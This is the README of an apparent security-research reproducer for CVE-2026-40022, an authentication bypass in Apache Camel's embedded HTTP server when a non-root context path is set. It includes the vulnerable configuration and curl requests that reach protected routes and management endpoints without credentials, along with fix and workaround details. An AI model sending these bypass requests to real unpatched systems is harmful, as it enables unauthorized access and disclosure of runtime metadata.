oscerd/cve-2026-40022Reproducer for CVE-2026-40022: Apache Camel camel-platform-http-main authentication bypass on non-root context paths
This project demonstrates an authentication bypass in Apache Camel's camel-platform-http-main
component (the embedded HTTP / management server of the Camel main runtime), tracked as
CVE-2026-40022. When authentication is enabled and a non-root context path (e.g. /api or
/admin) is configured, the authentication handler only covers the exact context path, so
unauthenticated requests to subpaths reach protected routes and management endpoints.
Advisory: https://camel.apache.org/security/CVE-2026-40022.html
| Property | Value |
|---|
| Component | camel-platform-http-main (Camel main runtime embedded HTTP/management server) |
| Affected Classes | BasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer |
| Root cause | When authenticationPath is unset it is derived from camel.server.path; with the Vert.x sub-router mounting model the auth handler matches only the exact context path, not its subpaths |
| CWE | CWE-287: Improper Authentication (authentication bypass) |
| Impact | Unauthenticated access to protected business routes and management endpoints (e.g. /observe/info runtime-metadata disclosure) |
| Affected Versions | From 4.14.1 before 4.14.6, and from 4.15.0 before 4.18.2 |
| Fixed Versions | 4.14.6, 4.18.2, 4.20.0 |
| Reporter | Jihang Yu |
| PRs | apache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x) |
BasicAuthenticationConfigurer (and JWTAuthenticationConfigurer) resolve the path the auth handler
protects from properties.getAuthenticationPath(), falling back to properties.getPath() (the
camel.server.path context path) when it is not explicitly set:
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
The Vert.x server mounts a sub-router at <contextPath>* and registers the auth handler inside
that sub-router at the resolved path. In affected versions the resolved path is the context path
itself, so — relative to the sub-router already mounted at /api — the auth handler ends up matching
/api/api rather than every subpath. As a result:
/api/api is challenged (401) — the handler is present, just mis-scoped/api/hello (the real business route) is not challenged → served without credentialsThe fix makes resolveAuthenticationPath return /*, so the handler covers all subpaths of the
sub-router.
application.properties — a non-root context path with auth enabled and authenticationPath unset:
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
The route is served at /api/hello.
No external service or Docker container is required — the vulnerable HTTP server is the app itself.
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
The BasicAuthHandler is active — but mis-scoped to the exact context path.
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (this is a PROTECTED business route)
On a fixed version (4.14.6 / 4.18.2 / 4.20.0) this returns 401 Unauthorized.
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
The same flaw applies to the management server (camel.management.path, e.g. /admin). An
unauthenticated request to a subpath such as /admin/observe/info reaches the management endpoint,
which can disclose runtime metadata: the OS user, working/home directory, process ID, JVM and OS
information.
camel-platform-http-main.camel.server.path / camel.management.path).camel.server.authenticationPath / camel.management.authenticationPath not explicitly set.Upgrade to 4.14.6 / 4.18.2 / 4.20.0. The fix (resolveAuthenticationPath) makes the auth handler
cover every subpath:
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // was: the exact context path
}
Until upgrading:
camel.server.authenticationPath = /* (and camel.management.authenticationPath = /*)
so the handler covers all subpaths.CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Camel main runtime entry point
│ └── HelloRoute.java # a protected platform-http route (/api/hello)
└── resources/
├── application.properties # non-root path + auth enabled (the vulnerable config)
└── auth.properties # basic-auth user (camel / propertiesPass)
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.